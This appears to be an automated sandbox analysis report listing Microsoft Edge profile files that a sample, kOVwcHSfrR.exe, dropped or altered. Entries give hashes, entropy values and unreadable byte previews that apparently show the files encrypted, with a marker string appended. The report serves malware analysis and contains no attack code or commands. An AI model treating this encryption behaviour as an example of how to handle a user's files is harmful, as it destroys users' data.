Preview:	(()=>..a.'6f..;..j..1.N_.5I...F_.8<$`.."......7B.... ...l.7....w..:..........8..q..=....h....Q.!hS.Bh.$..o./........J.....\|D!.j......q...>.;e..W.....G.>....,\|$.q..P.....A......39......1m...Q$.p...R.<.)K.R)..G..y...s.Km.x..)Q...,z..Z.:.Z....#.eK.....{eo.$...4.(!.a.s...7.p.........:...bp\|O.}w..6.6EL.F9u.u:..VN......m...`.H4.4.g7.9'..U...l4.b?.o......B...y&...l.M........9_..Z...:x.FU....Eh.=...Y.e....!./..k^...^&.:...L...u>Yc....fA^.....H..z@>.G.(_..E.l...x.Xt..I..............f.E..A....M....z}i.wu....i....{.~....=...V......h.2H.kv...$...k.^..v.vvkm.t..D..^..._.]...O..n..Y.G.....n..r......F..L.#.....n&7.....g+~E!.H...seR ..!1.....%+^.LS..8.TE...18..9...(..3y....".'....Y#....c'R..u.z....FTlO.F;..K..;ao....%.....+....L..MN/..S\f$.....H...t.7v./../Vs=..@.f...O...P5...k.3..}...>Nr?.]..-........~./......M...@....t-.:nJ.......k.so...iw....\|.PGL...~.za.....Y..gBM.t....5T.l...}7<..g.j...~,.............=Q~.3..U.#G8....>...b.R.f0..W.TD8...5..o..T...8..p.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1296
Entropy (8bit):	7.82157664001628
Encrypted:	false
SSDEEP:	24:ItfjFOGWLpcRTAaHKdQgLbSCDPN7ZoNB46DkILA0JOnqCbBb47skYChBZw1bD:KfjgOZAawQvyPGBJAbLnD2szaZyD
MD5:	C78220A81812488B5C5804E495FC7310
SHA1:	635BDE876D27249C866A8155AC8A41140649338C
SHA-256:	E26591CC0B2B71AF30452EC4FD82D12D8D5C33B31F48E083CDF5AD9D433FA1CE
SHA-512:	4770EB917FBB552E425FC4D1D7DDF05B1EE902E382ECDEE3B4898107AF7C29CE2B80A208114B99E98B6C0C9FA011D53BDC095BE8596B775332DCB5341C4EA35B
Malicious:	false
Preview:	{.. ...8..?8g....L~.......L.f..h....~(..x.<....k:....2.....z...=...g3....".w....Tv.X..NM.=...I...}.kd=..A.......7..xT..Q.X.M[.6KT.S.<.O.}...........W..)..l.4 ..y......k..:..tO{l.. .+.zG_...4..q.R,'..jq...Z.........:.;g.h....d.%.....A..8.p......-.w.g...C..g..A...[.. ^>pd..<0....'J..C..m..{...y............v....BX.'Y1..%YX...oz...........7`.h.....9.......%.......8.c.E.........(..ZX..^.H...Fe....H."."6.....m..+..}. \|F.e.r.u.(....<-<{n[.........4...............K....{t.t.K.f.......n+.....v....A.fU<..e.J75.....dd#.[...C........G.h........k...OB-..Y.N...T...1.......wRj:Z?.:S.......]...Xi.X`..Q....)..p8.n...J.h.....+1......n...N..,.!.A.'7...R.J...2F.1. .M+^...F..t....g.`...\|.x..P...\.zk...F...!...h.......4..K.....a.....'M....o. ..T.\...E...5.{...!...{$....-._>..F.v\|..F.5......f..T...X.....p.0;._..g.g.^....S.W..N.. }.....%%........G....~.~=iU.b.o._\|.q..dS....5.`g.B.P..Y.....p_XR[..j.o(.A4>t(u.......<.......%R.m.!\=n.Qmk

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	7.658261941441407
Encrypted:	false
SSDEEP:	12:kY6s9LeRtsfGm9MoQ/a647Eanr+Pyhdn+7tABtVMkc6oqw1cii9a:5fYte9MoQ/a647Eayqhdn+pAnTw1bD
MD5:	926EB37FE7552821A1C6DD1CEC59030C
SHA1:	3F53D6317AEE853F62D94BCDE9F4464C760016A9
SHA-256:	638D64159EEF94B3570410D47BE28AF54788CA759B228E68F06A282D32817999
SHA-512:	3C60D6702BD8B64087FE99BD81C323C599934363F4B53F6B04E2B86D731BBA9E9BCB2F00FA502167709D43882020A64247E8BBA2E089F3BB93490B91E109E562
Malicious:	false
Preview:	2023/..=.g......}[xeo..wd.....X\..6H..a....U.p2.cE..g......=.b.9..Y.a..,I=A...^s......8G.;v....r 5..{K%.-.......?5.bg`(uB.J.x....3?..v..[c...P.O!.....T..p...c_."....^..J%W.l...(c....c.KG .I.a)....l;..a....$..'k....E.{ 2.J...s...m4...r.........5.~_.;...Q...('$io..].J.C..A0..#.2......RP..S.B.>>.2..V..S.TB..O..cX5..f.........h..w....(....8.`.y.r.......V.<...@.e&.8..E..U...7.H......ND...y."dx rbSC0a._b.Bt....(:.p..S\|63(....6...!.;....v.../.K...9..&O.....~..c>y..?.3<.Y.........68/lTr.7..H3i.;..7....v.H.zX.].)F3j.V-.<..-.....!.7M&...g.....s..%.....Pd..]FT....zTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\874cd0ad-d2d5-4c1e-8518-522e275bdcbd.tmp

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.8929815338263545
Encrypted:	false
SSDEEP:	48:Y8HjfJR/b1tMsNxdngeQ4WuuFUqKTDSiyD:Zr1JJngeQbSa
MD5:	51F6002DF2F64201579BF5C7699F7C75
SHA1:	C2B0C8581744D7740CB73AEEB8FAC7072AECED53
SHA-256:	593DCD15CF0F94A015F925D9A5230D129E7897AAA8212669A788F79144A4685E
SHA-512:	8BE68DA2F901012C8264E7B4A928CDE1E335B41E98A4242603DEF013D9F8A2DABE78F2E7113D5AA42B207A26266FFF63755D95103F229DAB0159C21ECDA47D44
Malicious:	false
Preview:	{"net7......Ez}.s....^.....Y8Cx.`[............d3..d2.RZ...]v...u..+{....-... =...U..z.!.0..6.:..n...".5..#c...2..B..,O.P5I.A.O.....4M.....g/..^.:...Q.A......n...>.}Vs.[..-6.Ths.}..L......}.......I..A:a.#..j........8;.....R.../..K..p.s.......^....?u...nS....l!..4..y.;.C.^<V...w.n..VS.p..p............{i...U....g.M..g@..X...4...gz8.q..=......r@Z/..$0..[j....9...}.Lv..Kr.}.XX.h..[.*...........n`......x..0[%&.....Q....3K7.....M.zT.&.I.Q)......a_........N.o.,Eu..?....._h...''.....Tu%....0.'...W.....S.=5..c3g..X..Oi....+..B.E/!.1.7\lGR.v...YO.~/:C....o..]~9.......=.@.......X:V+....L.6...U.w.w..$/...}.D..O.-..<..G1.._.d......r..ELo....].z...J.>......^lk../.....S....C7....$.DH...a@.... .e.Z..].B..K.. #.l..\.^-.{?/T..J.S........a.>.]....Og."o.rte9...FS...t.9p.q.....y..0....{..P...R.S.N.y..D..X.'...Z...ZA.i6.[....N=t....U.....S...R.S."..U.^0dZ..`.7A.i>....@.1U..;...?..=E+.f.F.(@43..`...B..)....X..\|zei0.ZP....!..0J..y.2...'.\|^......../..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	452
Entropy (8bit):	7.465535566603157
Encrypted:	false
SSDEEP:	12:Ses2qi93gsVDSX3e2D3eR00eY+23fhDGgwoqw1cii9a:wVi93gswDj0eqfh4w1bD
MD5:	A19EF556843E8BEB9CE4F17FCE7CB10D
SHA1:	3F879070F5963C83F6676CA5008761ECFFF3CF9E
SHA-256:	F406BF644F56198E973B6AEF28D2726E5FC3A8A015D4BAF2EE573F4DD53AF753
SHA-512:	DE4C6CCAB37E979635A7063EF83E68D9E8689FE6A60501C593174DFD1DE7ABF2ABE807DC12C54E96511D72B8E2E765618BA33236D51D343470DB643E3A9D54AC
Malicious:	false
Preview:	...#....6.../H..."tH...R....).l..tNnc.S".j..]0....vz,.D....y......nw$....<...~.'%.y...Z......S.S,..3..I.F$L...[....XY.....D+.....<.u6...\..x..{..P.....BR2W.S.&.Z@../h;.}.>.........}S7......u.;r...}.4jj..^...5......pQ.f.=."K.w..L...bs..h#s..B....8..9..BH..&...{...c....r05../.j....q...M......L....^.+g.B\.wb....r..~..0..O.^..$;....z.d....n...O\..#NR..pTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	682
Entropy (8bit):	7.670819533392199
Encrypted:	false
SSDEEP:	12:kc/WND9i22Kqdeymb5eEFePJN7VkOoXUI8QFJTRD5NWWlssoqw1cii9a:9wRLSe9eNkOoQQdDY8w1bD
MD5:	4064AB5A2F656A7A75631935822EBB97
SHA1:	8EB3989EEEF0B7E3E0BB996B01FCF9CA211E1877
SHA-256:	22345B650EE730D19ECB0973CC4A991C1A528EC9755F8AD63BA57DCC7363902C
SHA-512:	BCAE4E30719927E961B2FD136919917EE094259B8B5D9679ED94EF4C8918C3CF24642C483A065BF054B1DAEE1803280230C60846702058B30A188FC9B6323F08
Malicious:	false
Preview:	2023/.".x\.......j...X.x.g..L,...1....%..w_.#.......q$f....v...K\|."....B.f...2..6.OZ....zg-.c:-.........j..n..}......v..@.......t..MB.1d.....J#\|.i\.=.mH8.F{T....Y.:...<.F&Bl....=...........t.6.;.r..Y.l}.Z)......l.~.Z..7"...%Oc.:.I2.2.Z.A...]..+.p........3j.<J....xb....+...0............M...v\|.zY.....1..%M!...:2... .f7.(..0.~ID:...j.L.bp.@m.d....^.%..o.e3.....f'.z.VR&.....C..?.V..BH..>uEq.k..[T......F..."..f.O.......l.C.{aFuj...../.f......k..rC.....0u..mo?../.0.O.k..5........q.......=.T......R. ....`..g........Q....v$.d....u_;7..`7...#..<<.+:s.B...........<..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	380
Entropy (8bit):	7.3397247795434515
Encrypted:	false
SSDEEP:	6:qhF49KbLM47qr5lmzxbjd1iDslrru+PZbxMxOkjxE+afUtly3dFNowfw5XeWciik:2wz7mJni2rrzb+1Xckgtjoqw1cii9a
MD5:	265A1A6671D55C3DFB325E5991DC9EFD
SHA1:	6EF5C77D35406279A0BE85D046A450806728B5E6
SHA-256:	69E9BB3B4A00947EC5A80A53EB3B99D4FE70B07C930B885D0B724BD9F156BFF2
SHA-512:	F5A7A843261CA7B0F5D65B78F70B3EE51C1D152074CD754F4A0F0240EC588D3A8DB583FE2F8A76DA2E2B0249EE4F1326202406EA4460B213B732D1CD058D84B6
Malicious:	false
Preview:	...n'g%..?qo<.1 ..x....Z.B]..t.w..$.B..'m&..~..,E.E....{...Tw.#...b..r....A..?....y~.S..... *HZ.........ET_W..V..j..QV....j..x.....U..n...&.......H4Q.E..i...'..=.N.+x..h.v.EA..U-L`Qbt..........t=4Z.#.:..Y.........q[..WB.i..Z\.A@.}...?..L..#.p...Z.<.b.0lGe..[..E.c.cn....}..#.?..1L.`.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.646694958460811
Encrypted:	false
SSDEEP:	12:kkYJjT33dmBv3RN070IxSc7+tZt9cA3vVodarYoQQZXoOXjQDWgsoqw1cii9a:zEM587RM3vVCaKQVXXZw1bD
MD5:	21BE55D28DD2E59A9B79370173AE1FF4
SHA1:	9875A2C7A2031DF1F891A7A30E3A90AD5B6DD0AB
SHA-256:	22070554B220D00D4096F9101CF0B5AD089F94385CA9754CEBEBC4D5EA6B2A21
SHA-512:	A4286F953755AF58F8B42D55006AF5675743665683561CF02CC45866E9892C510C95185D7A78EC26B90A084CABB05E02057A25A57D3045146F85D8918EEB29F3
Malicious:	false
Preview:	2023/.t+..................... ..?8q.$7.s...x..LK>..p...hK.".s.....o.....n;..d."x.4.5P+iQ...,.E=.E^...4.....5..X..-....c..'i8..X?..O...L.=.....-p.B..T.k........+i'(..%.Dt8<..nx3U..6.]....."6@4Fh.......]............]..H._>Tk;....M........sZC........\2V..S8O.Q..Z*4}]c...b..\...@~..fh6..Cq........2.._.+....u.-....P....f;....:...)..g/\............f...mw.U#.Cz...n.b.%......@...^/yP.L..rXZ.e..~..-...vE..uPMOy...?......Q..M!.P.2..H{Jw......R{ ...2.0.._....nZ....8(.. .>........w.G.kx....8...[............B......@1.k.3_.......?xj...ms..........&H.P......o".L.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	736
Entropy (8bit):	7.703857178422912
Encrypted:	false
SSDEEP:	12:4LG0DTx4Q66T5UfzvvIf6IaxkURZj+Ff4t502NRltZ4d26db4kAcW9kODUbEiwoB:iE6Ty/IuryQrPnHgJOkODUbyw1bD
MD5:	300A61718DB9C85CF80F4C4EC55A4066
SHA1:	7D966BF324D267856FFF696B5F29A5F659DA31AE
SHA-256:	FF78A26DD59931E6B3CD9D1FB28136AE705445D402A7C548F80577D2B323B07B
SHA-512:	750E8A9944692D672D4E8FE018AFCA3933F1D356086F2F87C87AE36E4E01FC4ECF1E64C0824414931CCB576924DF28A7BC5E1CC3BDCB718CC839F621F3A61E51
Malicious:	false
Preview:	A..r.F..._.lJ.m$_..........J7,.-.po4c.).._..&1..;\|8T.......D.....]a......TK$i_9!j3.p.j(..5..E3.....A..M57.> ,.p.r:....O.3..[..E..-#.P..K./..O..N.._"F.,'C!#.-Xc.zyj....mU.q....v.$.Hb...G..u.....L...!".......,.^.L.W0[.I.m.).._.t\..C.,{.ui&\|.?}.kI..._......4......H.0X..KjG..G.......,...\|..u.Dj.........e.^..?D.V.*....as..#..S.C..?`..1`....uI.......Hu...u..x..q..].6M..N......l.....?.........2+w...j1I...h,;.6e......_..9......4.....%9..&Y>..w..5...I=oF..U.z..'%.z1w..KL1.zh..J.W#....g...x)....Q..7........d[..O.fL...y'q.} .<.....El.bc0c./..&o$..vW.;.....H.5..}.........q........@..O.<./K.l...\|.G....w5D....$...l('.;.k.>.P.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1053
Entropy (8bit):	7.791832541190295
Encrypted:	false
SSDEEP:	24:G5DMKEf0BWZafVxxquPYbQWuV2r7ONpGUwVE3zwdo5grw1bD:+MKEfW4Yn+ZOPjMwEdGQyD
MD5:	937F04AEA3FF57A70158AF07F8F7697D
SHA1:	31BFEA323DBFF65D885AABB4DF09B2225457F6B2
SHA-256:	D6A540DE27FC653463AEEF79F8B1F41545A535798CA1D0C9BBCC374E346650F1
SHA-512:	CF6F560733F9582DA9FB436C73AEB1B9505A8A4C49367D1C4F8FA8099BA52BD76A835B5C7AD59D5B2605B547C3A98D606B74BB32D66E5B887228CE049A5A1150
Malicious:	false
Preview:	.h.6.Q&...j8...B..H4. K..>C.....A..,z....&.R.S.. U...T......j.d.../RE.).`..Z..FT.j)y]....bW3.~4...g..Q..e.5M.!...V.6CaW.q>4G.U.`..!.m.............#.6.....h..M.f....w.E..b..j..:`....@eK..yI..}..7.....O..2....q.P2........+..1i.l..........\|......%l..g....).yCGs..<x....f.0!?H...1...d......7.POb>..Y.rI..%.J.B.Rz....V..X....p=v.Q..u.!v=.^?.v..r,...5.&.P..sqU.....W.......5...1.>(}=.O.U.p....t.rk.E.R.,..R...s......YW\..S..e.........)<.D.......O\|u..~MZ5..J.M@.>Q.../.]:5.y....k..U...A..T`.]..dCH.....<.P\U..%.R...7B.~...Y.H)..w~..9P..U-.._6ytX....~....}Q.>f.'...k......p........Z..\....[v...}..tp.....F$#..RCGm...`5..znd...;xP...B.....G_..C<......7.3Vh.....:.;....6.......4.+....;..k....<.,.o.cYN&.&M[^..}..A.Cd..4JNk.......... S...3CJ..+ql.K: ...+..#.u.....<./[...7...........R. .Z..C.Y!We.=)U....<W<-.V..1..P..x......G.9&..E.#.....z...+9G4!..2....F...Uvov!S.\.;...;.P..^f..j...6..\.k.v.S.3...g...$.?&..X._.TkVHfCIIwaAyDJuFpBEgzIZgY

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	672
Entropy (8bit):	7.655707753466929
Encrypted:	false
SSDEEP:	12:kgNPv9M1erbK8bQn2XgvpTAn3Fi0xJbyosR/pU/+PofOEsvuOa624Hoqw1cii9a:LOKe8bKAoq/mIQoGEsvxa6Xw1bD
MD5:	A3DB0DA76CC9BCEF55BDCA538F09B9E2
SHA1:	6ECCC2F322D1228142EFB68726FF19AB0972F935
SHA-256:	5E685322708B8C9139549AEA81414495162B97D64E1BAD5ECDFA6E7375733C7E
SHA-512:	9C2C5C5DA01CD37E7C3604B36B0E058EC9B9BD90ADAF58ECADA8333C7D6A89DF5FF967C8B3603782CE71E5B8E841D54DFBB1128C9169BC454A4F2741A0F57C04
Malicious:	false
Preview:	2023/] ..k.!.....q=..r...XmF...@..#..V...:c9.>".....~.#.".....g.y....C%N.....8y"..C.$.5.R.....H......`.A.>..-.*.5)./..m]...2....]....>....89.........'.?.......h.c.r'.K\|6......ge..Ok.....U.)..9...$.%6.}..>=..'mv...c.n...T../^.h..U..^.8..&..-.......w..>...N(.n..i{uK...._..;/...).......b...(J?.0.M.0.h.7..:...q...k(mp.Y_...(rC./.G-pI..f...:...7......K\|.....r._.FL.(B&...`^....8..o.V.l..'.....e[0.....9.o\Q8.tk....l.F....P..&..W.DA...=@........j.........}L`w...N.`.N.../..g}Z...EM..[g..fJ27FN.Y..kk..........4q......4.\4Q...!;.8......,Tb..........I}...g...Z....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.371279652717494
Encrypted:	false
SSDEEP:	12:LifKcf3EdFdza8ZNxSByDozrJhE59Ooqw1cii9a:WfKcPcG8Z7Srk5Ew1bD
MD5:	7F94B1D81D596E3CF4F8D09516347C5C
SHA1:	6888B30EF284D736308A0BD33847FBD6A74B1F57
SHA-256:	4C041A77C6E42A48A69995326865D57881F01E1EF80396CCEF46B9F10FE377D0
SHA-512:	00F9A8810A180B4AA916E82CE86E65E03D19ECF6DD6AF97F47CDDDC077FCAC1FCA2EC78E104DD87E42E158B69B7BBE05AF19ABA5A6E56835400ED24377B8F13C
Malicious:	false
Preview:	1.558..n.3...K....i...........".x...g..Q.S`....'d.F2..$.2W... 8...Y....f..2x.b.............v.IPY2..H!f.....A..&.....;.d.5...<9...._..kx.7..p.........hG.,q...7.E..C...P.H....1..`;.k...n.2.U..+...jTu..C.._<.A.h.R......_g.D..v..h.....8...3.5_a.s(5.....e..r..Z"....S..~}.ZU.^9r.9..;.....][.2W.....G./..t.lTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\manifest.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	7.365237555026377
Encrypted:	false
SSDEEP:	12:YCt9XO5R0SbqzN0NX1+zoqtrGElNDyboqw1cii9a:YCt9X40zy4EeGEiw1bD
MD5:	CCDFF8878FF3809A8BF9A8F23C17A2C5
SHA1:	E37BCC110EC0613B0BC20EFAF7B73C8E59A45BD3
SHA-256:	7D3DAC57976285AE61B05546B8B82A4B7B29FA8BD3468256013550AEE98763B8
SHA-512:	3BC1C8C994F65FAD1E37965EDB395FB642569911DBDAD334DDA3511FCC2AF9B565FAC97C443932BAD419F931419D0A4795EEDEE032FD287AD64FBA74EE2C1FBC
Malicious:	false
Preview:	{"nam..Z...GE......-.{y..mz.9....X.x.PH...1....pu....d....,Y..&..8.....Y0..8....W.ZC.pD.#..VT.[.)......q.:....DX.e..~....Z^@.9Q._.f...0...qt..u\.1 ...a?..>O..1<qtC.dP../.r......8D?..h..q.....h.........D...N..R...%... .E.G..Xk<.....F'Kt...Y.4..[0..3vy...V....]..u....Z&..O..ph...M4o....njtp.O.!.z..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\InputExtractor.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	11901
Entropy (8bit):	7.984792348334211
Encrypted:	false
SSDEEP:	192:ZNvnUjfInw1cjV4hlGRwcf/j1RW3SvVMlSEwphNL0/9HuRccG48W/j/3hFjhejif:XnU31QV4hkRw0x6lLEz0/Ru1/r3hFsjA
MD5:	9053AD19FD48FAE61E0C242FBE353CF6
SHA1:	37FC259E0A8B79323A7C45B14C8A31BA8A16C05D
SHA-256:	B8FD9EC9859DAC54E07338EE419C27AC3EB9ED5BD30430DBFBEF70ECD84F5883
SHA-512:	388B492D04F6DAD943D54F9B7435AF16312A8E7D24BB0BD7AD665C0393672171E73E9AF9900CC9BB2A3C1B53CEA3C0AC86E8BB8595E8E3D68214DD31456D22B3
Malicious:	false
Preview:	(()=>.w.#..1...I.6.[..Z..cRF..}..@}p....6....e......R.;...%m...bi.&..b......c.3Y....qx....W..!...3.Q...F........]....+...F....)%.L.1..@Q.L...\|..U#.....A..Vc.X.a..D..BFh......y......X.x~E.^3.W.'...>B....sa..n...n..........Q!.z.>.mr....D....:W.j.m...-...j`..b...K.....".C.y..p....+!..RtA..to.3S.i..kB\|...n..}...2....]9.....yR..f..3Z]....`....4.,.8.....7.Fx...Q}F_.w\.`~ ..@k.S..K....p6....Id...N.....7...W..I..I...1Y.R.p... V.a/.3."7..dc....<P3.er.[....C..C.k..r>&.....>F. .\|...c].5,.@.........V...f0t..-..X...)...XL........j..>hK..fG~/..:..........<(..<..d._.U..6b3.r7$..=2.v4.:>..5.B.p.h....6..,.j......g..e.-...).3.......q.@..o.rU.U.<.vm?c.Y..K.-...-o*C_.......SA.J.a+Wp..C....I.SMY...i.i>....k.&,...8....?..F7..[.l...`...Y..ig....'R..w.-.v.SU...{.R..YS.%.\|C.....J..K4.+...&....r.....d..W.Q...........Z..i.zS-.Y.z.........[..O......Kr}#..S..V....%c..G...iaD....M4G\...=B.@../.).N......:U/..6p...aVPs..2..E(...c$....0.W....avi...y......$..f..W..".....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.373706229900965
Encrypted:	false
SSDEEP:	12:y3QcNPjFSJnoFwNoTVnHym2Ffynt3Noqw1cii9a:y3hnyo2NoT9gFf2t3tw1bD
MD5:	8E397D653DE4D05662845614F7198FE0
SHA1:	F3743DADE8D4B9A85C094ED40D805F4298083CB8
SHA-256:	313A1203F408DC282DFC5B7F568F0139D29C77D33B88C1BA4D9BFEED861B18FD
SHA-512:	235001909ABA1E3B733835BCAC5DB71366C3A5FF9F6C4AB81F6A0FB6067547F76C516E4AEA7087EEB032728D84AE82242FB6C0CCFEEC490CC48437638D94AF48
Malicious:	false
Preview:	1.1B2..\|...U..P...?....pcL{z.D...)..'9;'O.2.#.^.d...5.@..'..H.(...{\.....`...xf(.~..h.....]...q...UN..Hx.x...FwDIb.Q/.C..L(}i..6I.@..>.o.18..v....A.....`K{..{..U".~.-..8.{ .8.q......,......+...h/5y..^.F..bu.....jV.}^J...q....O..5.8..-....r.[..:.a..hY@i .#.=T.....7..E.....!R..."............:...q...wl..>...z.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\manifest.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	450
Entropy (8bit):	7.481403949097401
Encrypted:	false
SSDEEP:	12:MDHDD2Bk+gvL8Zo+2yjmxJxXfkcdoqw1cii9a:MDnugvL8KyaxJ5vdw1bD
MD5:	5E09D8F13B383C958200B4DEBF51EA65
SHA1:	248D2943AC9176CDCAAF71140589FBD087D0D788
SHA-256:	F839072E1D82CB6C52A2350E5225345D3A3E61BA83F1E342BB8DB91D81A72A39
SHA-512:	2F1B7AC8C1AAB95DBBEB3921E759D133301B6DF41601A86D286A19195456B61AFE90DA90C54E139ECC35B3EE1B403048C092ADC84F398F5B78EF8D02166ADD8F
Malicious:	false
Preview:	.{.f~..-J..C....".S\|,.{.~? ..r.i}.W...6.y.w............... .j..nQ.~.......8@nQL..G..L....6V...R...@V.....W.I.:..r..uMe..P..L....^{..vD.Z..,....i............&..2........w.KK.o...[.`.......B6._....mkR......z...t.."Db..l.hn...G.)........=<...V.]SF...z..SZ..$.h...f5....E!.....:}n.K.t>...K\.... .gJh.......0......F.6..5L.x....~q&.&......R3...[wR.).tETkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1179282
Entropy (8bit):	6.260745933366361
Encrypted:	false
SSDEEP:	12288:FhXZMdnK856sJmOBjn2LT8/XH6rewfkb3J0sIU:DZucamOB6LT8/bR3esIU
MD5:	BE602E75C47F764C033E8B0CED7F1E8F
SHA1:	9B1A90C8392FB3408F9173EACBE4E470CD08441E
SHA-256:	1A70729A27C553C0CD8555ED82FFC504381FB5FD2C90CFCF2AA3F5A0713FC265
SHA-512:	CAF1AA15F3D31A556A1E150DB20DB3EAF528F7DD6C03103C751E7444E2AB5650583859E68E75308EE40771472FAFFE5E5D634453A0807556C462E7DA261A69DB
Malicious:	false
Preview:	/! F.:.~:..t..c..!....1r2\|.T......b..Rk..>.#.N-....x.@.]....[O..q.=.>.....^...+...~g..........=.6...z]..I5......7..!g..rnY....cZR@..[..N2)/.D.n.m...t..Vz@6....o...VR../.K4jn...Q;V.S....T.J{..-S....p...#..4..".....<m..e/....</K..RT.by.Q./.........,....D.0.O5P.'..z."h.g^SyM{7~..Ob....vP..(..;.+....]...n..{L....fs.....'C.....I.....!....w.]Q...k+gbc..;...2..E......R>.K.1..B.....(Zg.s.mS.....p.?Xi>..a...NS.Q..]....N.........sv......-t\|.z...<7y.................-.0.\n8>b6.....O.J.......3....&4y[...4...,..j..l.D.L..g.k.A:g.......tI.O..e.+&I..._...`\..Lo.<&adG.o.....bq(pU.L..g.U+<.....Z.....~}..}m.-..sQ(Im.p..z.p..b....u...1r.a..T......^.....!...4.{..................$.z.......n.jC..0<Ou..K...K9....B..E._........<.`..:.7.....*. ..X....Nnk..NeR&.C..,,../....n..m..V%;."....+.><.!!.....{L....:..^rF ....;VJ#.._F..8.U...q...`3.-.z.....7......V!o.".J?........[..j..o/V[x..m.c....~wsO....Z.g..F......,..b.....:..U=....3#H.us.<.~..u}`?..U.,h.-.bp.B_O.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1010732
Entropy (8bit):	6.36029639914003
Encrypted:	false
SSDEEP:	12288:zzhies2SHxRwu2unFp8wEL9X2Y+zWZdnwijDWwMxdf6kK:zz6tHxT/nHmRmY+zWZWijDWF6Z
MD5:	4A1D61D44B01B11ACAFFCECA24C6F1C8
SHA1:	76F96E32658ECDF27B25ED5D2091F0CD7CFE91D1
SHA-256:	06CF7370F3E9DFD3981BBCB9CD844128FF8E16CAFA58B2AB7D1D65EE5909860F
